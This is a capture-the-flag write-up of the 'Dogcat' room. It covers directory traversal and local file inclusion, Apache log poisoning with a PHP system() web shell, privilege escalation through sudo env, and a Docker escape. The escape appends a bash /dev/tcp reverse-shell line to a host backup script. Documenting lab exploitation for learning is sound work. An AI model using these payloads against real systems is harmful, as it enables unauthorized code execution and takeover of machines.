Skip to content

Dogcat

It took me a few tries to get the hang of this room, even after looking at other walkthroughs; instead of detailing each step as much as my previous writeups, I'll briefly summarize the key points to highlight what I learned, without my unsuccessful attempts.

  • After realizing that the website is susceptible to directory traversal by experimenting with ../ in the URL and seeing some PHP warnings, we can try to retrieve the source code.
  • If we simply try to /?view=dog../index, we get function redeclaration errors, so we need a way to transport the source code without PHP rendering/executing it.
  • For this task, we can use a base64 PHP filter like so: http://<ip>/?view=php://filter/convert.base64-encode/resource=dog/../index
  • By reading the source code, we see that there is a GET variable for the file extension added to our requested file (which we can control by appending &ext=<extension of choice>)
  • By adding &ext= to our query string in the URL, we can serve ANY file, not just those that end in .php.
  • At this point we have a way to read files, but it would be great to leverage this vulnerability to gain further access.
  • If we view the Apache web server access log (http://<ip>/?view=dog/../../../../../var/log/apache2/access.log&ext=), we have the opportunity to execute arbitrary code; we send a request with chosen text, it's appended to the Apache log, and because we're viewing the log from the PHP server, any PHP in that text will be executed.
  • We notice that our User-Agent isn't URL encoded in our request, so we can provide any text to it and it will show up exactly the same when we request the log page.
  • With curl or Burp Suite, make an HTTP request and change the User-Agent to something like <?php system($_GET['rce']);?> to create a new PHP variable called rce which can be set in our URL query string.
  • Now we can assert that we have RCE by requesting the log again and appending our chosen text to the end, like this example which runs ls on the target machine: http://<ip>/?view=dog/../../../../../var/log/apache2/access.log&ext=&rce=ls
  • We can use this realization to copy a PHP reverse shell to the target machine, and then activate that shell by making a request to http://<ip>/shell.
  • Now with a bit of poking around within /var/www, we find the first 2 flags.
  • Looking for an opportunity to escalate privileges, sudo -l informs us that we can run /usr/bin/env as root without a password...
  • run sudo env /bin/sh to obtain root.
  • Find flag3 in /root
  • Lastly, we realize that we're in a docker container and need to escape to the host machine to obtain the final flag.
  • In /opt/backups there is a backups.sh script, and we can modify this to start a new reverse shell from the host machine.
  • echo "bash -i >& /dev/tcp/<attacking ip>/443 0>&1" >> backup.sh and start a nc listener on the attacking machine.
  • We receive a connection and find the final flag in the working directory.

Closing thoughts

Although initial access was pretty challenging for me, it was great to learn more about how to actually exploit directory traversal / local file inclusion to get a shell.

Otherwise, it's good to get more practice with the same formula of simple privilege escalation and post-exploitation finding flags.